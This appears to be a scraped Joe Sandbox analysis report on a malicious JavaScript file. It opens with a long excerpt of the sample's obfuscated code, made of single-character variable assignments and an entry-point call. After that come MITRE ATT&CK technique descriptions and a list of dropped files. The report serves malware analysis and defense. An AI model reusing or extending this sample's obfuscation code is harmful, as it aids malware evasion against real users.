64	tqbwcokdf = "e";
65	tqbwcokdf = "W";
66	tqbwcokdf = "O";
67	tqbwcokdf = "l";
68	tqbwcokdf = "d";
69	tqbwcokdf = "w";
70	tqbwcokdf = "a";
71	tqbwcokdf = "w";
72	tqbwcokdf = " ";
73	kucorhyvq = "s";
74	kucorhyvq = "s";
75	kucorhyvq = "i";
76	kucorhyvq = "B";
77	kucorhyvq = "X";
78	kucorhyvq = "R";
79	kucorhyvq = "A";
80	kucorhyvq = "d";
81	xtbstk = "R";
82	xtbstk = "i";
83	xtbstk = "N";
84	xtbstk = "O";
85	xtbstk = "o";
86	xtbstk = "o";
87	xtbstk = "W";
88	xtbstk = "o";
89	xtbstk = "N";
90	cawghamdc = "P";
91	cawghamdc = "h";
92	cawghamdc = "u";
93	cawghamdc = "w";
94	cawghamdc = "b";
95	cawghamdc = "l";
96	cawghamdc = "F";
97	cawghamdc = "m";
98	ybpkcjnsl = "d";
99	ybpkcjnsl = "W";
100	ybpkcjnsl = "z";
101	ybpkcjnsl = "n";
102	ybpkcjnsl = "N";
103	ybpkcjnsl = "I";
104	ybpkcjnsl = "N";
105	ybpkcjnsl = "E";
106	ybpkcjnsl = "E";
107	jrtmus = "X";
108	jrtmus = "U";
109	jrtmus = "g";
110	jrtmus = "p";
111	jrtmus = "U";
112	jrtmus = "D";
113	jrtmus = "k";
114	ypmtrthy = "z";
115	ypmtrthy = "A";
116	ypmtrthy = "M";
117	ypmtrthy = "T";
118	ypmtrthy = "E";
119	ypmtrthy = "V";
120	ypmtrthy = "p";
121	uaqbk = "X";
122	uaqbk = "o";
123	uaqbk = "T";
124	uaqbk = "c";
125	uaqbk = "R";
126	uaqbk = "o";
127	uaqbk = "l";
128	uaqbk = "N";
129	uaqbk = "P";
130	yojmtgqvn = "R";
131	yojmtgqvn = "s";
132	yojmtgqvn = "z";
133	yojmtgqvn = "X";
134	yojmtgqvn = "x";
135	yojmtgqvn = "s";
136	yojmtgqvn = "q";
137	yojmtgqvn = "b";
138	mzzmbctnl = "v";
139	mzzmbctnl = "V";
140	mzzmbctnl = "b";
141	mzzmbctnl = "b";
142	mzzmbctnl = "H";
143	mzzmbctnl = "e";
144	mzzmbctnl = "a";
145	mzzmbctnl = "R";
146	mzzmbctnl = "7";
147	ldaaaxyqu = "n";
148	ldaaaxyqu = "q";
149	ldaaaxyqu = "r";
150	ldaaaxyqu = "L";
151	ldaaaxyqu = "n";
152	ldaaaxyqu = "a";
153	zexnopha = "y";
154	zexnopha = "Z";
155	zexnopha = "V";
156	zexnopha = "D";
157	zexnopha = "C";
158	zexnopha = "h";
159	zexnopha = "5";
160	hezpiazi = "M";
161	hezpiazi = "f";
162	hezpiazi = "q";
163	hezpiazi = "F";
164	hezpiazi = "z";
165	hezpiazi = "x";
166	hezpiazi = "u";
167	hezpiazi = "V";
168	hezpiazi = "h";
169	hezpiazi = "&";
170	zrnga = "Y";
171	zrnga = "a";
172	zrnga = "Q";
173	zrnga = "X";
174	zrnga = "x";
175	zrnga = "l";
176	dlcslsi = "A";
177	dlcslsi = "X";
178	dlcslsi = "r";
179	dlcslsi = "f";
180	dlcslsi = "x";
181	dlcslsi = "m";
182	dlcslsi = "G";
183	dlcslsi = "f";
184	dlcslsi = "c";
185	dlcslsi = "Q";
186	vzzsa = "Q";
187	vzzsa = "w";
188	vzzsa = "U";
189	vzzsa = "r";
190	vzzsa = "a";
191	vzzsa = "T";
192	vzzsa = "u";
193	oiumptvjh = "q";
194	oiumptvjh = "b";
195	oiumptvjh = "t";
196	oiumptvjh = "a";
197	oiumptvjh = "g";
198	oiumptvjh = "k";
199	oiumptvjh = "R";
200	oiumptvjh = "k";
201	oiumptvjh = "J";
202	oiumptvjh = "w";
203	zxoof = "I";
204	zxoof = "u";
205	zxoof = "f";
206	zxoof = "p";
207	zxoof = "P";
208	zxoof = "r";
209	zxoof = "M";
210	zxoof = "a";
211	zxoof = "v";
212	zxoof = "/";
213	qjwuxf = "h";
214	qjwuxf = "I";
215	qjwuxf = "T";
216	qjwuxf = "M";
217	qjwuxf = "t";
218	qjwuxf = "U";
219	qjwuxf = "S";
220	qjwuxf = "-";
221	wpmmrznw = "t";
222	wpmmrznw = "v";
223	wpmmrznw = "j";
224	wpmmrznw = "u";
225	wpmmrznw = "o";
226	wpmmrznw = "b";
227	wpmmrznw = "a";
228	wpmmrznw = "E";
229	wpmmrznw = "6";
230	bttijpxn = "P";
231	bttijpxn = "M";
232	bttijpxn = "D";
233	bttijpxn = "g";
234	bttijpxn = "I";
235	bttijpxn = "R";
236	bttijpxn = "p";
237	bttijpxn = "D";
238	bttijpxn = "q";
239	bttijpxn = "f";
240	hzyaqpy = "Z";
241	hzyaqpy = "v";
242	hzyaqpy = "I";
243	hzyaqpy = "I";
244	hzyaqpy = "F";
245	hzyaqpy = "Q";
246	hzyaqpy = "i";
247	hzyaqpy = "o";
248	hzyaqpy = "o";
249	hzyaqpy = "K";
250	mgvhv = "D";
251	mgvhv = "T";
252	mgvhv = "V";
253	mgvhv = "t";
254	mgvhv = "c";
255	mgvhv = "T";
256	mgvhv = "N";
257	mgvhv = "J";
258	mgvhv = "O";
259	xtehsvbjn = "n";
260	xtehsvbjn = "A";
261	xtehsvbjn = "r";
262	xtehsvbjn = "o";
263	xtehsvbjn = "i";
264	xtehsvbjn = "e";
265	xtehsvbjn = "k";
266	xtehsvbjn = "n";
267	xtehsvbjn = "\\";
268	tzryy = "C";
269	tzryy = "D";
270	tzryy = "E";
271	tzryy = "M";
272	tzryy = "Y";
273	tzryy = "\"";
274	skdgzd = "t";
275	skdgzd = "C";
276	skdgzd = "e";
277	skdgzd = "c";
278	skdgzd = "Y";
279	skdgzd = "W";
280	skdgzd = "W";
281	njxzucaj = "l";
282	njxzucaj = "Q";
283	njxzucaj = "z";
284	njxzucaj = "B";
285	njxzucaj = "h";
286	njxzucaj = "e";
287	njxzucaj = "V";
288	njxzucaj = "_";
289	wbisibn = "V";
290	wbisibn = "n";
291	wbisibn = "M";
292	wbisibn = "f";
293	wbisibn = "u";
294	wbisibn = "c";
295	wbisibn = "v";
296	bogjupqw = "H";
297	bogjupqw = "T";
298	bogjupqw = "j";
299	bogjupqw = "h";
300	bogjupqw = "C";
301	bogjupqw = "S";
302	bogjupqw = "u";
303	bogjupqw = "K";
304	bogjupqw = "H";
305	azhvea = "F";
306	azhvea = "S";
307	azhvea = "U";
308	azhvea = "t";
309	azhvea = "F";
310	azhvea = "P";
311	azhvea = "F";
312	azhvea = "H";
313	azhvea = "2";
314	sihzkxxh = "J";
315	sihzkxxh = "C";
316	sihzkxxh = "G";
317	sihzkxxh = "W";
318	sihzkxxh = "M";
319	sihzkxxh = "Y";
320	sihzkxxh = "V";
321	sihzkxxh = "r";
322	xackwuxo = "M";
323	xackwuxo = "K";
324	xackwuxo = "Q";
325	xackwuxo = "V";
326	xackwuxo = "G";
327	xackwuxo = "Z";
328	xackwuxo = "@";
329	dilndsfya = "e";
330	dilndsfya = "b";
331	dilndsfya = "x";
332	dilndsfya = "y";
333	dilndsfya = "l";
334	dilndsfya = "H";
335	dilndsfya = "I";
336	fgpti = "C";
337	fgpti = "q";
338	fgpti = "K";
339	fgpti = "C";
340	fgpti = "j";
341	fgpti = "o";
342	fgpti = "T";
343	fgpti = "S";
344	fgpti = "n";
345	fgpti = "4";
346	xhnsztsei = "B";
347	xhnsztsei = "d";
348	xhnsztsei = "o";
349	xhnsztsei = "k";
350	xhnsztsei = "U";
351	xhnsztsei = "y";
352	xhnsztsei = "k";
353	xhnsztsei = "x";
354	xhnsztsei = "N";
355	xhnsztsei = "o";
356	qtfkn = "Y";
357	qtfkn = "b";
358	qtfkn = "i";
359	qtfkn = "h";
360	qtfkn = "P";
361	qtfkn = "K";
362	qtfkn = "q";
363	qtfkn = "a";
364	qtfkn = "R";
365	chrqlz = "r";
366	chrqlz = "i";
367	chrqlz = "O";
368	chrqlz = "A";
369	chrqlz = "t";
370	chrqlz = "R";
371	chrqlz = "U";
372	ljcykvjfu = "D";
373	ljcykvjfu = "Q";
374	ljcykvjfu = "J";
375	ljcykvjfu = "L";
376	ljcykvjfu = "P";
377	ljcykvjfu = "i";
378	ljcykvjfu = "W";
379	ljcykvjfu = "i";
380	qqzbyydnf = "Y";
381	qqzbyydnf = "A";
382	qqzbyydnf = "G";
383	qqzbyydnf = "i";
384	qqzbyydnf = "D";
385	qqzbyydnf = "m";
386	qqzbyydnf = "h";
387	lrpxhxjrq = "Z";
388	lrpxhxjrq = "H";
389	lrpxhxjrq = "M";
390	lrpxhxjrq = "c";
391	lrpxhxjrq = "B";
392	lrpxhxjrq = "g";
393	yfpistefe = "D";
394	yfpistefe = "i";
395	yfpistefe = "c";
396	yfpistefe = "Q";
397	yfpistefe = "c";
398	yfpistefe = "o";
399	yfpistefe = "H";
400	yfpistefe = "c";
401	yxkbjsrsd = "I";
402	yxkbjsrsd = "Y";
403	yxkbjsrsd = "v";
404	yxkbjsrsd = "t";
405	yxkbjsrsd = "j";
406	yxkbjsrsd = "t";
407	yxkbjsrsd = "h";
408	yxkbjsrsd = "N";
409	yxkbjsrsd = "L";
410	hfyoqwej = "l";
411	hfyoqwej = "E";
412	hfyoqwej = "q";
413	hfyoqwej = "R";
414	hfyoqwej = "Z";
415	hfyoqwej = "a";
416	hfyoqwej = "l";
417	hfyoqwej = "A";
418	hfyoqwej = "8";
419	opgcgtd = "X";
420	opgcgtd = "x";
421	opgcgtd = "M";
422	opgcgtd = "O";
423	opgcgtd = "P";
424	opgcgtd = ":";
425	jwtmpwt = "D";
426	jwtmpwt = "n";
427	jwtmpwt = "t";
428	jwtmpwt = "W";
429	jwtmpwt = "y";
430	jwtmpwt = "q";
431	jwtmpwt = "B";
432	jwtmpwt = "x";
433	vsejr = "I";
434	vsejr = "q";
435	vsejr = "l";
436	vsejr = "A";
437	vsejr = "K";
438	vsejr = "k";
439	vsejr = "a";
440	vsejr = "y";
441	vsejr = "0";
442	jemun = "H";
443	jemun = "l";
444	jemun = "l";
445	jemun = "I";
446	jemun = "s";
447	jemun = "n";
448	jemun = "3";
449	crmzosax = "S";
450	crmzosax = "O";
451	crmzosax = "c";
452	crmzosax = "l";
453	crmzosax = "B";
454	crmzosax = "k";
455	crmzosax = "d";
456	crmzosax = "Y";
457	wpdsknxl = "K";
458	wpdsknxl = "z";
459	wpdsknxl = "Q";
460	wpdsknxl = "U";
461	wpdsknxl = "m";
462	wpdsknxl = "O";
463	wpdsknxl = "p";
464	wpdsknxl = "W";
465	wpdsknxl = ".";
466	iqcdjaga = "k";
467	iqcdjaga = "M";
468	iqcdjaga = "P";
469	iqcdjaga = "o";
470	iqcdjaga = "U";
471	iqcdjaga = "H";
472	iqcdjaga = "a";
473	iqcdjaga = "K";
474	iqcdjaga = "C";
475	gunkvj = "t";
476	gunkvj = "i";
477	gunkvj = "t";
478	gunkvj = "Q";
479	gunkvj = "a";
480	gunkvj = "G";
481	gunkvj = "o";
482	gunkvj = "1";
483	svzhpw = "T";
484	svzhpw = "h";
485	svzhpw = "S";
486	svzhpw = "k";
487	svzhpw = "g";
488	svzhpw = "Y";
489	svzhpw = "l";
490	svzhpw = "I";
491	svzhpw = "c";
492	svzhpw = "%";
493	bxozmyka = "L";
494	bxozmyka = "L";
495	bxozmyka = "c";
496	bxozmyka = "b";
497	bxozmyka = "I";
498	bxozmyka = "k";
499	bxozmyka = "n";
500	glewa = "L";
501	glewa = "q";
502	glewa = "x";
503	glewa = "B";
504	glewa = "z";
505	glewa = "z";
506	glewa = "N";
507	glewa = "t";
508	zkqique = "W";
509	zkqique = "J";
510	zkqique = "a";
511	zkqique = "s";
512	zkqique = "u";
513	zkqique = "r";
514	zkqique = "s";
515	reqyqjcfr ( );	reqyqjcfr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 35491083472324549.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cf2f77e3-c10f-4660-b44a-0bca03b33dfd.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
35491083472324549.js